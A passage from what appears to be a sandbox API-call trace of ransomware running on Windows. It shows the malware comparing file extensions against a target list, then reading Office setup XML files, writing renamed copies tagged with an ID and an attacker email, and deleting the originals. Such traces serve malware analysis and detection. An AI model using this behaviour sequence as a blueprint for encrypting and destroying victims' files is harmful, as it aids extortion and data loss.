(lpString1=".7z", lpString2="XML") returned -1 [0043.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0043.491] lstrlenW (lpString=".dbf") returned 4 [0043.491] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0043.491] lstrlenW (lpString=".1cd") returned 4 [0043.491] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0043.491] lstrlenW (lpString=".jpg") returned 4 [0043.491] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0043.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0043.492] lstrlenW (lpString=".doc") returned 4 [0043.492] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.492] lstrlenW (lpString=".docx") returned 5 [0043.492] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0043.492] lstrlenW (lpString=".pdf") returned 4 [0043.492] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.492] lstrlenW (lpString=".xls") returned 4 [0043.492] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.492] lstrlenW (lpString=".xlsx") returned 5 [0043.492] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0043.492] lstrlenW (lpString=".ppt") returned 4 [0043.492] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0043.492] lstrlenW (lpString=".zip") returned 4 [0043.492] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.492] lstrlenW (lpString=".rar") returned 4 [0043.492] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.492] lstrlenW (lpString=".bz2") returned 4 [0043.492] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.492] lstrlenW (lpString=".7z") returned 3 [0043.492] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0043.492] lstrlenW (lpString=".dbf") returned 4 [0043.492] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0043.492] lstrlenW (lpString=".1cd") returned 4 [0043.492] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0043.492] lstrlenW (lpString=".jpg") returned 4 [0043.492] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.493] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0043.493] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0043.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0043.493] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1606) returned 1 [0043.493] CloseHandle (hObject=0x1a4) returned 1 [0043.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0043.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0043.493] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.493] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0043.522] GetLastError () returned 0x0 [0043.522] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x646, lpOverlapped=0x0) returned 1 [0043.542] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x650, lpOverlapped=0x0) returned 1 [0043.543] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.543] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0043.543] SetEndOfFile (hFile=0x1d4) returned 1 [0043.543] CloseHandle (hObject=0x1d4) returned 1 [0043.543] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.543] SetEndOfFile (hFile=0x1a4) returned 1 [0043.544] CloseHandle (hObject=0x1a4) returned 1 [0043.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0043.544] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0043.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0043.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0043.545] lstrlenW (lpString=".doc") returned 4 [0043.545] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.545] lstrlenW (lpString=".docx") returned 5 [0043.545] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0043.545] lstrlenW (lpString=".pdf") returned 4 [0043.545] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.545] lstrlenW (lpString=".xls") returned 4 [0043.545] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.545] lstrlenW (lpString=".xlsx") returned 5 [0043.545] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0043.545] lstrlenW (lpString=".ppt") returned 4 [0043.545] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0043.545] lstrlenW (lpString=".zip") returned 4 [0043.545] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.545] lstrlenW (lpString=".rar") returned 4 [0043.545] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.545] lstrlenW (lpString=".bz2") returned 4 [0043.545] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.545] lstrlenW (lpString=".7z") returned 3 [0043.545] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0043.545] lstrlenW (lpString=".dbf") returned 4 [0043.545] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0043.545] lstrlenW (lpString=".1cd") returned 4 [0043.545] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0043.545] lstrlenW (lpString=".jpg") returned 4 [0043.545] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0043.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0043.545] lstrlenW (lpString=".doc") returned 4 [0043.546] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.546] lstrlenW (lpString=".docx") returned 5 [0043.546] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0043.546] lstrlenW (lpString=".pdf") returned 4 [0043.546] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.546] lstrlenW (lpString=".xls") returned 4 [0043.546] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.546] lstrlenW (lpString=".xlsx") returned 5 [0043.546] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0043.546] lstrlenW (lpString=".ppt") returned 4 [0043.546] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0043.546] lstrlenW (lpString=".zip") returned 4 [0043.546] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.546] lstrlenW (lpString=".rar") returned 4 [0043.546] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.546] lstrlenW (lpString=".bz2") returned 4 [0043.546] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.546] lstrlenW (lpString=".7z") returned 3 [0043.546] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0043.546] lstrlenW (lpString=".dbf") returned 4 [0043.546] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0043.546] lstrlenW (lpString=".1cd") returned 4 [0043.546] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0043.546] lstrlenW (lpString=".jpg") returned 4 [0043.546] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.546] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0043.546] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0043.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0043.547] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=3186) returned 1 [0043.547] CloseHandle (hObject=0x1a4) returned 1 [0043.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0043.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0043.547] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.547] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0043.549] GetLastError () returned 0x0 [0043.549] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0xc72, lpOverlapped=0x0) returned 1 [0043.603] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0043.604] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.604] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0043.604] SetEndOfFile (hFile=0x1d4) returned 1 [0043.604] CloseHandle (hObject=0x1d4) returned 1 [0043.605] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.605] SetEndOfFile (hFile=0x1a4) returned 1 [0043.605] CloseHandle (hObject=0x1a4) returned 1 [0043.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0043.606] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0043.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0043.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0043.606] lstrlenW (lpString=".doc") returned 4 [0043.606] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.606] lstrlenW (lpString=".docx") returned 5 [0043.606] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0043.606] lstrlenW (lpString=".pdf") returned 4 [0043.606] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.606] lstrlenW (lpString=".xls") returned 4 [0043.606] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.606] lstrlenW (lpString=".xlsx") returned 5 [0043.606] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0043.606] lstrlenW (lpString=".ppt") returned 4 [0043.606] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0043.606] lstrlenW (lpString=".zip") returned 4 [0043.606] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.606] lstrlenW (lpString=".rar") returned 4 [0043.606] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.606] lstrlenW (lpString=".bz2") returned 4 [0043.606] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.606] lstrlenW (lpString=".7z") returned 3 [0043.607] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0043.607] lstrlenW (lpString=".dbf") returned 4 [0043.607] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0043.607] lstrlenW (lpString=".1cd") returned 4 [0043.607] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0043.607] lstrlenW (lpString=".jpg") returned 4 [0043.607] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0043.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0043.607] lstrlenW (lpString=".doc") returned 4 [0043.607] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.607] lstrlenW (lpString=".docx") returned 5 [0043.607] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0043.607] lstrlenW (lpString=".pdf") returned 4 [0043.607] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.607] lstrlenW (lpString=".xls") returned 4 [0043.607] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.607] lstrlenW (lpString=".xlsx") returned 5 [0043.607] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0043.607] lstrlenW (lpString=".ppt") returned 4 [0043.607] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0043.607] lstrlenW (lpString=".zip") returned 4 [0043.607] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.607] lstrlenW (lpString=".rar") returned 4 [0043.607] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.608] lstrlenW (lpString=".bz2") returned 4 [0043.608] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.608] lstrlenW (lpString=".7z") returned 3 [0043.608] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0043.608] lstrlenW (lpString=".dbf") returned 4 [0043.608] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0043.608] lstrlenW (lpString=".1cd") returned 4 [0043.608] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0043.608] lstrlenW (lpString=".jpg") returned 4 [0043.608] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.608] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0043.608] lstrlenW (lpString="SETUP.XML") returned 9 [0043.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0043.609] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=4207) returned 1 [0043.609] CloseHandle (hObject=0x1a4) returned 1 [0043.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0043.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0043.609] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.609] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0043.610] GetLastError () returned 0x0 [0043.610] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x106f, lpOverlapped=0x0) returned 1 [0043.996] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0043.997] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.997] WriteFile (in: hFile=0x1d4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.997] SetEndOfFile (hFile=0x1d4) returned 1 [0043.997] CloseHandle (hObject=0x1d4) returned 1 [0043.997] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.997] SetEndOfFile (hFile=0x1a4) returned 1 [0043.998] CloseHandle (hObject=0x1a4) returned 1 [0043.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0043.998] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0043.999] lstrlenW (lpString="C:\\Program Files\\Common 